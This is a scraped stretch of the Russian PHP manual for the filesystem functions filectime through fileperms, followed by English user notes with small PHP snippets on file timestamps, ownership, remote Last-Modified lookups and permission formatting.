    $extension = end(explode(".", $path));
    if (is_file($path) && in_array($extension, $allowedExtensions))
        return filemtime($path);
    $ret = 0;

     foreach (glob($path."/*") as $fn)
     {
        if (filemtime_r($fn) > $ret)
            $ret = filemtime_r($fn);
            // This will return a timestamp, you will have to use date().
     }
    return $ret;
}

?>
chuck dot reeves at gmail dot com 02-Oct-2007 09:14
filectime running on windows reading a file from a samba share, will still show the last modified date.
website at us dot kaspersky dot com 31-Aug-2007 10:51
Line 37 of the code above has an error.

echo  "File name: $file - Date Added: $date. <br/>"";

There is an extra "  after the <br/> that needs to be deleted in order for this code to work.
StevieMc at example dot com 15-Nov-2006 06:28
This method gets all the files in a directory, and echoes them in the order of the date they were added (by ftp or whatever).

<?PHP
function dirList ($directory, $sortOrder){

    //Get each file and add its details to two arrays
    $results = array();
    $handler = opendir($directory);
    while ($file = readdir($handler)) {
        if ($file != '.' && $file != '..' && $file != "robots.txt" && $file != ".htaccess"){
            $currentModified = filectime($directory."/".$file);
            $file_names[] = $file;
            $file_dates[] = $currentModified;
        }
    }
       closedir($handler);

    //Sort the date array by preferred order
    if ($sortOrder == "newestFirst"){
        arsort($file_dates);
    }else{
        asort($file_dates);
    }

    //Match file_names array to file_dates array
    $file_names_Array = array_keys($file_dates);
    foreach ($file_names_Array as $idx => $name) $name=$file_names[$name];
    $file_dates = array_merge($file_dates);

    $i = 0;

    //Loop through dates array and then echo the list
    foreach ($file_dates as $file_dates){
        $date = $file_dates;
        $j = $file_names_Array[$i];
        $file = $file_names[$j];
        $i++;

        echo  "File name: $file - Date Added: $date. <br/>"";
    }

}
?>

I hope this is useful to somebody.
laurent dot pireyn at wanadoo dot be 27-Sep-2001 05:01
If you use filectime with a symbolic link, you will get the change time of the file actually linked to. To get informations about the link self, use lstat.


Получает идентификатор группы файла

  • « filectime
  • fileinode »
  • PHP Manual
  • Функции файловой системы
  • Получает идентификатор группы файла

filegroup

(PHP 4, PHP 5, PHP 7, PHP 8)

filegroup — Получает идентификатор группы файла

Описание

filegroup(string $filename): int|false

Возвращает идентификатор группы файла в виде числа. Для получения имени группы в виде строки используйте функцию posix_getgrgid().

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает идентификатор группы файла или false в случае ошибки. Идентификатор группы возвращается в виде числа, для получения имени группы в виде строки используйте функцию posix_getgrgid(). В случае возникновения ошибки возвращается false.

Ошибки

В случае возникновения ошибки будет сгенерирована ошибка уровня E_WARNING.

Примеры

Пример #1 Поиск группы файла

<?php
$filename = 'index.php';
print_r(posix_getgrgid(filegroup($filename)));
?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • fileowner() - Возвращает идентификатор владельца файла
  • posix_getgrgid() - Возвращает информацию о группе по её ID

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 03:48
This function will always return 0 on Windows, because Windows does not support numeric group IDs.


Возвращает индексный дескриптор файла

  • « filegroup
  • filemtime »
  • PHP Manual
  • Функции файловой системы
  • Возвращает индексный дескриптор файла

fileinode

(PHP 4, PHP 5, PHP 7, PHP 8)

fileinode — Возвращает индексный дескриптор файла

Описание

fileinode(string $filename): int|false

Возвращает индексный дескриптор файла.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает номер индексного дескриптора файла или false в случае возникновения ошибки.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Сравнение индексного дескриптора файла с текущим файлом

<?php
$filename = 'index.php';
if (getmyinode() == fileinode($filename)) {
echo 'Вы проверяете текущий файл.';
}
?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • getmyinode() - Получает значение inode текущего скрипта
  • stat() - Возвращает информацию о файле

User Contributed Notes

sofe2038 at gmail dot com 19-Jul-2020 07:50
As documented in https://www.php.net/manual/en/function.stat.php#refsect1-function.stat-returnvalues:
> On Windows, as of PHP 7.4.0, this is the identifier associated with the file, which is a 64-bit unsigned integer, so may overflow. Previously, it was always 0.

It appears that fileinode shares the same underlying implementation.


Возвращает время последнего изменения файла

  • « fileinode
  • fileowner »
  • PHP Manual
  • Функции файловой системы
  • Возвращает время последнего изменения файла

filemtime

(PHP 4, PHP 5, PHP 7, PHP 8)

filemtime — Возвращает время последнего изменения файла

Описание

filemtime(string $filename): int|false

Данная функция возвращает время последней записи блоков файла, иначе говоря, изменения содержания файла.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает время последнего изменения указанного файла или false в случае возникновения ошибки. Время возвращается в формате временной метки Unix, который подходит для передачи в качестве аргумента функции date().

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования функции filemtime()

<?php
// Пример вывода: В последний раз файл somefile.txt был изменён: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
echo "В последний раз файл $filename был изменён: " . date ("F d Y H:i:s.", filemtime($filename));
}
?>

Примечания

Замечание:

Учтите, что обработка времени может отличаться в различных файловых системах.

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • filectime() - Возвращает время изменения индексного дескриптора файла
  • stat() - Возвращает информацию о файле
  • touch() - Устанавливает время доступа и модификации файла
  • getlastmod() - Получает время последней модификации страницы

User Contributed Notes

MarkAgius at markagius dot co dot uk 22-Aug-2021 12:33
filemtime(..) only works with files on your server.
$T=filesize("index.php"); // Works.
$T=filesize("/public_html/dir/index.php"); // Works.

But the following will not work.
$T=filesize("https://mydomain.com/dir/index.php"); // Will not work. Same domain but using web address.
$T=filesize("https://otherdomain.com/dir/index.php"); // Other domain, will not work.

To get file date for other sites try:
(Note: Time zone may be in G.M.T. and not your local timezone)

$T = getFileDate("https://mydomain.com/dir/index.php");
$T = getFileDate("https://otherdomain.com/dir/index.php");

function getFileDate($filePath){
  // Same as filemtime(..) but also works with remote files.
  // EG. = print date("j/m/Y, g:i:sa (e)",getFileDate("https://abc.com/file.jpg"));
  // File not found then will return -307756800 ( 1/04/1960)
  $ret = -(3562 *24*60*60); //  1/04/1960  3562= seconds to 1/01/1970

  $ch = curl_init($filePath);
  curl_setopt($ch, CURLOPT_NOBODY, true);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  // Try and get the file modification date.
  curl_setopt($ch, CURLOPT_FILETIME, true);
  $result = curl_exec($ch);
  if($result===false){
    die(curl_error($ch));
    return $ret;
  }

  $ret = curl_getinfo($ch, CURLINFO_FILETIME);
  curl_close($ch);

  return $ret;
}
Steve GS 09-Jan-2020 10:39
If the file is not in the same directory as the executing script, a failure will result unless you use $_SERVER.  This is because, like file_exists(), the command works on a file system, not via HTTP.  So this will NOT work properly (and will probably show a warning):

echo '<img src="' . $home_url . '/images/image.jpg?v=' . filemtime ($home_url . '/images/image.jpg') . '" />';

but this will:

echo '<img src="' . $home_url . '/images/image.jpg?v=' . filemtime ($_SERVER['DOCUMENT_ROOT'] . '/images/image.jpg') . '" />';

The second script above will ensure any updated image is guaranteed to replace its predecessor without forcing the browser to reload the image on every visit.
Don 12-Aug-2015 06:13
To find the oldest file in a directory :
$directory= "C:\\";

$smallest_time=INF;

$oldest_file='';

if ($handle = opendir($directory)) {

    while (false !== ($file = readdir($handle))) {

        $time=filemtime($directory.'/'.$file);

        if (is_file($directory.'/'.$file)) {

            if ($time < $smallest_time) {
                $oldest_file = $file;
                $smallest_time = $time;
            }
        }
    }
    closedir($handle);
}

echo $oldest_file;
son9ne at gmail dot com 01-Mar-2014 07:58
If you do use:
<?php
$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
?>

Make note that it will throw a warning as the documentation states. While tobias makes a good point for production, when error reporting is off, this can increase your performance over using `file_exists`. However, if error reporting is on and it's writing to a log... this is not the case. Obviously this varies on sever specs and the size of the error log. For most cases, it's still ideal to use the `file_exists` method.
arkadia81 at gmail dot com 04-Oct-2013 01:56
A little amendment to "tobias" post:

Insted of:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if (!$fmtime) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}

it should be something like this:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if ($fmtime != false) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
 }

filemtime() returns false on failure so in the first example it will never display the date modified.
tobias 18-Sep-2013 08:02
The mentioned example:

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", filemtime($filename));
}

works, however is not ideal from a performance point of view of serving static files through PHP, since it basically needs two perform two file system operations (file_exists and filemtime). A more effective way would be to only use filemtime and save the overhead of file_exists using:

$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
nieprzeklinaj at gmail dot com 22-Jan-2013 12:56
Here's a handy little function for smart cache overriding :)
<?php
function img($src, $alt='', $attr='')
{
    if(file_exists($src))
    {
        $lmod = filemtime($src);
        echo '<img src="'.$src.'?lmod='.$lmod.'" alt="'.$alt.'" '.$attr.' />';
    }
}
?>
Will Davies Vasconcelos 17-Feb-2011 10:22
Here is a handy script to create a csv file with file names and the date when files in a given folder were inserted:

<?php
  header("Pragma: public");
  header("Cache-Control: private");
  header("Content-Type: text/csv");
  header("Content-Disposition: attachment; filename=age-of-files.csv");

  $result = array();
  $handle =  opendir(".");
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = "./".$datei;
               if (!is_dir($file))
                    $result[] = $file;
          }
     }
     closedir($handle);
  foreach($result as $r)
    if (file_exists($r))
      echo substr($r,2).",".date ("m/d/Y", filemtime($r))."\r\n";
?>
myselfasunder at gmail dot XYZ dot com 31-Oct-2010 02:02
There's a deeply-seated problem with filemtime() under Windows due to the fact that it calls Windows' stat() function, which implements DST (according to this bug: http://bugs.php.net/bug.php?id=40568). The detection of DST on the time of the file is confused by whether the CURRENT time of the current system is currently under DST.

This is a fix for the mother of all annoying bugs:

<?php
function GetCorrectMTime($filePath)
{

    $time = filemtime($filePath);

    $isDST = (date('I', $time) == 1);
    $systemDST = (date('I') == 1);

    $adjustment = 0;

    if($isDST == false && $systemDST == true)
        $adjustment = 3600;

    else if($isDST == true && $systemDST == false)
        $adjustment = -3600;

    else
        $adjustment = 0;

    return ($time + $adjustment);
}
?>

Dustin Oprea
erelsgl at gmail dot com 07-Jun-2010 01:08
Cheaper and dirtier way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

$filemtime = @filemtime($cache_file);  // returns FALSE if file does not exist
if (!$filemtime or (time() - $filemtime >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
dagger80 07-Apr-2010 12:22
Also on 32-bit systems, filemtime() also does not work for files with modification time set beyond Jan 2038. It is the dreaded time_t overflow bug for unix seconds.

On windows you can set the system time to any arbitrary future date, and any new files you created or edited will automatically change to that future date.

If exec isn't permitted for some reason, and if you could access the file via an web url (e.g. http://localhost/yourfile.txt), another workaround is to get the Last-Modified time from the HTTP headers (e.g. get_headers(url) ), and parse it as a DateTime object.

I have tested it and it works for years like 2050 and 3012.
_michael 01-Feb-2010 11:09
While testing on Windows, I noticed that the precision of filemtime is just 1 second.

So if you use clearstatcache() and filemtime() to check if a file has been modified, it might fail to detect the change. The modifications just have to happen within less than a second.

(I ran into this with Apache on Windows XP.)
Nilo 10-Jan-2010 11:01
Cheap and dirty way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

if (!file_exists($cache_file) or (time() - filemtime($cache_file) >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
james dot schafer at gotalk dot net dot au 16-Dec-2009 01:36
On the Windows system filectime() returns the creation time. To find the changed time use fileatime() or filemtime().
contacto at hardcode dot com dot ar 31-Aug-2009 08:03
when working with swf files (flash animations), there is a nice way to avoid the browser cache. i used to do this by hand, then i used a random number, but with large animations while working online, it gets boring because the server always downloads the whole animation, even if there was no change.
but...

this will do the trick

base.swf?rand=<?php echo filemtime("base.swf") ?>

<embed src="base.swf?rand=<?php echo filemtime("base.swf") ?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="1680" height="1050">
Anonymous 19-Aug-2009 03:52
Please note that many of the functions below that people have provided to get files modified after a certain time in a directory will NOT get all files on a Windows operating system.

If you copy and paste any file inside the folder or into the folder from another folder (such as images that may be used but aren't going to be modified right away), the modified time is not updated on these copied files, only the creation time.

You need to use filectime with filemtime to assure you get copied files that aren't modified but are obviously new.
info at daniel-marschall dot de 22-Jun-2009 03:59
It could be useful to determinate the timestamp of the newest file in a directory. (e.g. if you want to find out when the last change was made to your project).

Following function will help you:

<?php

function getAllFiles($directory, $recursive = true) {
     $result = array();
     $handle =  opendir($directory);
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = $directory.$datei;
               if (is_dir($file)) {
                    if ($recursive) {
                         $result = array_merge($result, getAllFiles($file.'/'));
                    }
               } else {
                    $result[] = $file;
               }
          }
     }
     closedir($handle);
     return $result;
}

function getHighestFileTimestamp($directory, $recursive = true) {
     $allFiles = getAllFiles($directory, $recursive);
     $highestKnown = 0;
     foreach ($allFiles as $val) {
          $currentValue = filemtime($val);
          if ($currentValue > $highestKnown) $highestKnown = $currentValue;
     }
     return $highestKnown;
}

// Use example

echo 'The newest file has the time stamp:<br>';
echo date('Y-m-d H:i:s', getHighestFileTimestamp('../'));

?>
geeks at geekman dot info 17-Feb-2008 09:01
This is a very handy function for dealing with browser caching. For example, say you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a pain in the ass. Instead, you can do this:

<?php
echo '<link rel="stylesheet" type="text/css" href="style.css?' . filemtime('style.css') . '" />';
?>

Sample output:

<link rel="stylesheet" type="text/css" href="style.css?1203291283" />

By appending a GET value (the UNIX timestamp) to the stylesheet URL, you make the browser think the stylesheet is dynamic, so it'll reload the stylesheet every time the modification date changes.
solarijj at gmail dot com 08-Mar-2007 12:02
To get the modification date of some remote file, you can use the fine function by notepad at codewalker dot com (with improvements by dma05 at web dot de and madsen at lillesvin dot net).

But you can achieve the same result more easily now with stream_get_meta_data (PHP>4.3.0).

However a problem may arise if some redirection occurs. In such a case, the server HTTP response contains no Last-Modified header, but there is a Location header indicating where to find the file. The function below takes care of any redirections, even multiple redirections, so that you reach the real file of which you want the last modification date.

hih,
JJS.

<?php

// get remote file last modification date (returns unix timestamp)
function GetRemoteLastModified( $uri )
{
    // default
    $unixtime = 0;

    $fp = fopen( $uri, "r" );
    if( !$fp ) {return;}

    $MetaData = stream_get_meta_data( $fp );

    foreach( $MetaData['wrapper_data'] as $response )
    {
        // case: redirection
        if( substr( strtolower($response), 0, 10 ) == 'location: ' )
        {
            $newUri = substr( $response, 10 );
            fclose( $fp );
            return GetRemoteLastModified( $newUri );
        }
        // case: last-modified
        elseif( substr( strtolower($response), 0, 15 ) == 'last-modified: ' )
        {
            $unixtime = strtotime( substr($response, 15) );
            break;
        }
    }
    fclose( $fp );
    return $unixtime;
}
?>
Benan Tumkaya (benantumkaya at yahoo) 14-Aug-2006 02:11
Here is a small but handy script that you can use to find which files in your server are modified after a  date/time that you specify. This script will go through all folders in the specified directory recursively and echo the modified files with the last modified date/time...

//Starts Here
//Put here the directory you want to search for. Put / if you want to search your entire domain
$dir='/';

//Put the date you want to compare with in the format of:  YYYY-mm-dd hh:mm:ss
$comparedatestr="2006-08-12 00:00:00";
$comparedate=strtotime($comparedatestr);

//I run the function here to start the search.
directory_tree($dir,$comparedate);

//This is the function which is doing the search...
function directory_tree($address,$comparedate){

 @$dir = opendir($address);

  if(!$dir){ return 0; }
        while($entry = readdir($dir)){
                if(is_dir("$address/$entry") && ($entry != ".." && $entry != ".")){
                        directory_tree("$address/$entry",$comparedate);
                }
                 else   {

                  if($entry != ".." && $entry != ".") {

                    $fulldir=$address.'/'.$entry;
                    $last_modified = filemtime($fulldir);
                    $last_modified_str= date("Y-m-d h:i:s", $last_modified);

                       if($comparedate < $last_modified)  {
                          echo $fulldir.'=>'.$last_modified_str;
                          echo "<BR>";
                       }

                 }

            }

      }

}
csnyder at chxo dot com 11-Aug-2006 08:59
If PHP's integer type is only 32 bits on your system, filemtime() will fail on files over 2GB with the warning "stat failed". All stat()-related commands will exhibit the same behavior.

As a workaround, you can call the system's stat command to get the modification time of a file:

On FreeBSD:
$mtime = exec ('stat -f %m '. escapeshellarg ($path));

On Linux:
$mtime = exec ('stat -c %Y '. escapeshellarg ($path));

Thanks to "mpb dot mail at gmail dot com" for his/her similar comment on stat().
dma05 at web dot de 23-Apr-2005 02:25
concerning "notepad at codewalkers dot com"'s code:

this code is pretty neat, but i just wanted to note that using the "HEAD"-method instead of the "GET"-method in the http-request might be preferrable, since then not the whole resource is being downloaded...

http/1.1 definiton snippet:
Section "9.4 HEAD"

 The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request. This method can be used for obtaining metainformation about the entity implied by the request without transferring the entity-body itself. This method is often used for testing hypertext links for validity, accessibility, and recent modification. [...]
-- snippet end ---

the code would then be...:

-- snippet ---
fputs($handle,"HEAD $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
-- snippet end ---

regards, Magnus
notepad at codewalkers dot com 11-Mar-2005 01:53
i needed the ability to grab the mod time of an image on a remote site. the following is the solution with the help of Joe Ferris.

<?php

function filemtime_remote($uri)
{
    $uri = parse_url($uri);
    $handle = @fsockopen($uri['host'],80);
    if(!$handle)
        return 0;

    fputs($handle,"GET $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
    $result = 0;
    while(!feof($handle))
    {
        $line = fgets($handle,1024);
        if(!trim($line))
            break;

        $col = strpos($line,':');
        if($col !== false)
        {
            $header = trim(substr($line,0,$col));
            $value = trim(substr($line,$col+1));
            if(strtolower($header) == 'last-modified')
            {
                $result = strtotime($value);
                break;
            }
        }
    }
    fclose($handle);
    return $result;
}
// echo filemtime_remote('http://www.somesite.com/someimage.jpg');

?>
habazi at yahoo dot com 21-Feb-2005 10:13
"this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories)."

This is not (necessarily) correct either. In *nix the timestamp can be independently set. For example the command "touch directory" updates the timestamp of a directory without file creation.

Also file removal will update the timestamp of a directory.
09-Dec-2004 08:30
A comment below states

  "When using this function to get the modified date of a directory,
   it returns the date of the file in that directory that was last modified."

this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories).
adam at roomvoter dot com 01-May-2004 01:42
The snippet of code earlier that allows you to delete all files older than 2 weeks uses the function (filemtime) - which checks the original create date of the file (filesystem independent).  You MAY want to use filectime() - that looks at when the file was last changed on YOUR file system.

        if (is_dir("$path") )
        {
           $handle=opendir($path);
           while (false!==($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   $Diff = (time() - filectime("$path/$file"))/60/60/24;
                   if ($Diff > 14) unlink("$path/$file");

               }
           }
           closedir($handle);
        }
wookie at at no-way dot org 14-Sep-2003 02:17
Another little handy tool; to get the most recent modified time from files in a directory. It even does recursive directories if you set the $doRecursive param to true. Based on a file/directory list function I saw somewhere on this site. ;)

function mostRecentModifiedFileTime($dirName,$doRecursive) {
    $d = dir($dirName);
    $lastModified = 0;
    while($entry = $d->read()) {
        if ($entry != "." && $entry != "..") {
            if (!is_dir($dirName."/".$entry)) {
                $currentModified = filemtime($dirName."/".$entry);
            } else if ($doRecursive && is_dir($dirName."/".$entry)) {
                $currentModified = mostRecentModifiedFileTime($dirName."/".$entry,true);
            }
            if ($currentModified > $lastModified){
                $lastModified = $currentModified;
            }
        }
    }
    $d->close();
    return $lastModified;
}
paranoid at dds dot nl 05-Jun-2003 05:43
To get the last modification time of a directory, you can use this:

<pre>
$getLastModDir = filemtime("/path/to/directory/.");
</pre>

Take note on the last dot which is needed to see the directory as a file and to actually get a last modification date of it.

This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account.

Regards,
Frank Keijzers
jay at fudge dot org 29-Jun-1999 01:55
If you want this functionality for the parent web page you should use getlastmod()
i.e.
<?php echo "Last modified: ".date( "F d Y H:i:s.", getlastmod() ); ?>
within the included page... i.e. as a commont footer include for all pages
gerardj at home dot com 19-May-1999 08:27
The above code works fine if you place it on each page you want a date stamp on.  I've found that if you place a reference such as filemtime(__FILE__) in an included or required file, that the modification time of the inherited file will be returned, not the time of the file that did the ineriting.


Возвращает идентификатор владельца файла

  • « filemtime
  • fileperms »
  • PHP Manual
  • Функции файловой системы
  • Возвращает идентификатор владельца файла

fileowner

(PHP 4, PHP 5, PHP 7, PHP 8)

fileowner — Возвращает идентификатор владельца файла

Описание

fileowner(string $filename): int|false

Возвращает идентификатор владельца файла

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает числовой идентификатор владельца указанного файла или false в случае возникновения ошибки. Чтобы получить имя владельца в виде строки, используйте функцию posix_getpwuid().

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Находим владельца файла

<?php
$filename = 'index.php';
print_r(posix_getpwuid(fileowner($filename)));
?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • filegroup() - Получает идентификатор группы файла
  • stat() - Возвращает информацию о файле
  • posix_getpwuid() - Возвращает информацию о пользователе, используя его ID

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 03:48
This function will always return 0 on Windows, because Windows does not support numeric user IDs.
dazoe 27-Jun-2010 07:21
Remember to use if(fileowner(...) === FALSE) instead of if(!fileowner()) or if(fileowner() == FLASE) because if the owner was "root" it would return 0.
29-Jan-2006 04:58
Small note: the function resolves symbolic links. That is, if the link is created by user 999 and maps to a file owned by user 666, this function returns 666 :(


Возвращает информацию о правах на файл

  • « fileowner
  • filesize »
  • PHP Manual
  • Функции файловой системы
  • Возвращает информацию о правах на файл

fileperms

(PHP 4, PHP 5, PHP 7, PHP 8)

fileperms — Возвращает информацию о правах на файл

Описание

fileperms(string $filename): int|false

Возвращает информацию о правах доступа на файл.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает права доступа на указанный файл в числовом виде. Младшие биты этого значения такие же, как и биты прав доступа для использования в функции chmod(), однако, на большинстве платформ, возвращаемое значение будет также включать информацию о типе файла, который передан в качестве параметра filename. Примеры ниже демонстрируют как проверить возвращаемое значение на наличие определённых прав и типа файла на POSIX-системах, включая Linux и macOS.

Для локальных файлов, возвращаемое значение является частью структуры st_mode, которая возвращается функцией С-библиотеки stat(). Какие в точности биты установлены может варьироваться от платформы к платформе. Рекомендуется поискать документацию к вашей платформе, если требуется обработка битов возвращаемого значения, не относящихся к правам доступа.

Возвращает false в случае возникновения ошибки.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Отображение прав доступа в виде восьмеричного числа

<?php
echo substr(sprintf('%o', fileperms('/tmp')), -4);
echo substr(sprintf('%o', fileperms('/etc/passwd')), -4);
?>

Результат выполнения данного примера:

1777
0644

Пример #2 Отображение полных прав доступа

<?php
$perms = fileperms('/etc/passwd');

switch ($perms & 0xF000) {
case 0xC000: // сокет
$info = 's';
break;
case 0xA000: // символическая ссылка
$info = 'l';
break;
case 0x8000: // обычный
$info = 'r';
break;
case 0x6000: // файл блочного устройства
$info = 'b';
break;
case 0x4000: // каталог
$info = 'd';
break;
case 0x2000: // файл символьного устройства
$info = 'c';
break;
case 0x1000: // FIFO канал
$info = 'p';
break;
default: // неизвестный
$info = 'u';
}

// Владелец
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Группа
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// Мир
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

echo $info;
?>

Результат выполнения данного примера:

-rw-r--r--

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • chmod() - Изменяет режим доступа к файлу
  • is_readable() - Определяет существование файла и доступен ли он для чтения
  • stat() - Возвращает информацию о файле

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 07:53
Windows has a very different file permission model to Unix and integrates them only minimally.

Here's how Windows calculates the bitmask...

u+w/g+w/o+w is set based on whether the file has the read only flag.

u+r/g+w/o+w is always set.

u+x/g+x/o+x is set based on whether $filename is an inherently executable file (e.g. bat) or a directory.

Windows isn't integrating its ACLs at all.

Here's the source of all this: https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/stat-functions?view=vs-2019 (but it doesn't provide many details)
Dominic 14-Mar-2014 08:24
A small function for the last 3 digits (777/755 ect.)

<?php
function getFilePermission($file) {
        $length = strlen(decoct(fileperms($file)))-3;
        return substr(decoct(fileperms($file)),$length);
}
?>
coolmic at example dot com 23-Aug-2013 03:52
Don't use substr, use bit operator
<?php
decoct(fileperms($file) & 0777); // return "755" for example
?>

If you want to compare permission
<?php
0755 === (fileperms($file) & 0777);
?>
admin at torntech dot com 28-Feb-2012 10:14
This may not be immediately apparent to some, but you can use octdec( $octal_value ) to match the permissions retrieved by file perms

<?php

//assumes file has 2770 permissions
$perm= fileperms( __FILE__ );
$bit = "102770";

printf( "%s\n", octdec( $bit ) );
printf( "%s\n", $perm);

?>
sviscaino123 at hotmail dot fr 15-Jun-2010 12:22
Here is a small function I made : http://pastebin.com/iKky8Vtu
I was bored and I thought it could be useful.

mixed mkperms( string $perms [, bool return_as_string = false [, string $filename ] ] )
Returns permissions given a string in literal format and a filename.
If the file name is omitted, the permissions that the function will return are based on 000-permissions.
If return_as_string is set to true, the result will be output as a 644 format string. Otherwise it will return a string converted to base-10 for chmod.

Examples:

<?php
echo mkperms('u+r', true), "\n"; // 400
echo mkperms('u+rwx,g+rw,o+x', true), "\n"; // 761

touch('myfile.txt'); // Create a file with any permissions
chmod('myfile.txt', mkperms('u=rwx,g=x,o=rw')); // myfile.txt is now at -rwx--xrw-

// Make a file and give it full permissions
touch('somefile.txt');
chmod('somefile.txt', 0777);
echo mkperms('g-w,o-rw', true, 'somefile.txt'); // 751
echo mkperms('u=rwx,g-r,o=-', true, 'somefile.txt'); // 730
// This way you can apply permissions to files
chmod('somefile.txt', mkperms('u=rwx,g-r,o=-', false, 'somefile.txt')); // somefile.txt is now at -rwx-wx---
?>

PS : sorry I had to put it on pastebin, or else it just made the note way too long.
jchris dot fillionr at kitware dot com 02-Apr-2009 02:11
Since the output of decoct( fileperms('.') ) is of the form: 40644

It seems the previous example is wrong, instead you should understand:

To get permissions formatted as "644":
<?php
echo substr(decoct( fileperms('.') ), 2);
?>

To get permissions formatted  as "0644":
<?php
echo substr(decoct( fileperms('.') ), 1);
?>
MartinAngermeier at gmx dot net 29-Oct-2008 12:37
An easy way to calculate fileperms to chmod is this:

substr(decoct(fileperms("test.html")),3);

Displays 666 or 777 (depends on chmod set).

substr(decoct(fileperms("test.html")),2);

Displays 0666 or 0777 and refers immediately to the number set with chmod();
paul2712 at gmail dot com 02-Jun-2007 09:08
Do not forget: clearstatcache();
==============================

When ever you make a:

mkdir($dstdir, 0770 ))

or a:

chmod($dstdir, 0774 );

You have to call:

clearstatcache();

before you can call:

fileperms($dstdir);
chinello at gmail dot com 24-Apr-2007 09:43
On Linux (not tested on Windows), if you want a chmod-like permissions, you can use this function:

<?php
function file_perms($file, $octal = false)
{
    if(!file_exists($file)) return false;

    $perms = fileperms($file);

    $cut = $octal ? 2 : 3;

    return substr(decoct($perms), $cut);
}
?>

Using it:

$ touch foo.bar
$ chmod 0754 foo.bar
<?php
echo file_perms('foo.bar'); // prints: 754
echo file_perms('foo.bar', true); // prints 0754
?>


Возвращает размер файла

  • « fileperms
